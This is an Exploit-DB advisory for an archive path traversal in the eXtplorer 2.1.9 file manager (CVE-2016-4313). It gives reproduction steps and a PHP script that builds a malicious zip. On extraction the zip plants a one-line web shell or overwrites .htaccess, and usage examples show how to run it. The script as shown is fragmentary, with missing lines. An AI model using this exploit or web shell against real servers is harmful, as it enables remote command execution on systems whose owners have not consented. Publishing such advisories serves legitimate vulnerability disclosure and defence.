eXtplorer 2.1.9 - Archive Path Traversal

ID EDB-ID:39816
Type exploitdb
Reporter hyp3rlinx
Modified 2016-05-16T00:00:00


eXtplorer 2.1.9 - Archive Path Traversal. CVE-2016-4313. Webapps exploit for php platform

[+] Credits: John Page aka hyp3rlinx
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/EXTPLORER-ARCHIVE-PATH-TRAVERSAL.txt
[+] ISR: apparitionsec


eXtplorer v2.1.9

eXtplorer is a PHP and Javascript-based File Manager, it allows to browse
directories, edit, copy, move, delete,
search, upload and download files, create & extract archives, create new
files and directories, change file
permissions (chmod) and more. It is often used as FTP extension for popular
applications like Joomla.

Vulnerability Type:
Archive Path Traversal

CVE Reference:

Vulnerability Details:

eXtplorer unzip/extract feature allows for path traversal as decompressed
files can be placed outside of the intended target directory,
if the archive content contains "../" characters. This can result in files
like ".htaccess" being overwritten or RCE / back door

Tested on Windows

Reproduction steps:

1) Generate an archive using below PHP script
2) Upload it to eXtplorer and then extract it
3) Check directory for the default 'RCE.php' file or use CL switch to
overwrite files like .htaccess

Exploit code(s):

Run below PHP script from CL...



if($argc<4){echo "Usage: <zip name>, <path depth>, <RCE.php as default?
$cmd='<?php exec($_GET["cmd"]); ?>';
echo "Second flag <path depth> must be numeric!, you supplied '$argv[2]'";
echo "Usage: enter a payload for file $exploit_file wrapped in double
$zip = new ZipArchive();
$res = $zip->open("$zipname.zip", ZipArchive::CREATE);
$zip->addFromString(str_repeat("..\\", $depth).$exploit_file, $cmd);
echo "\r\nExploit archive $zipname.zip created using $exploit_file\r\n";
echo "================ by hyp3rlinx ===================";


[Script examples]

Use default RCE.php by passing "y" flag creating DOOM.zip with path depth
of 2 levels
c:\>php evil-archive.php  DOOM 2  Y

Create DOOM.zip with path depth of 4 levels and .htaccess file to overwrite
one on the system.
c:\>php evil-archive.php  DOOM 4  .htaccess  "allow from all"

Disclosure Timeline:
Vendor Notification: No reply
May 14, 2016 : Public Disclosure

Exploitation Method:

Severity Level:
Medium 6.3

[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the
information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information.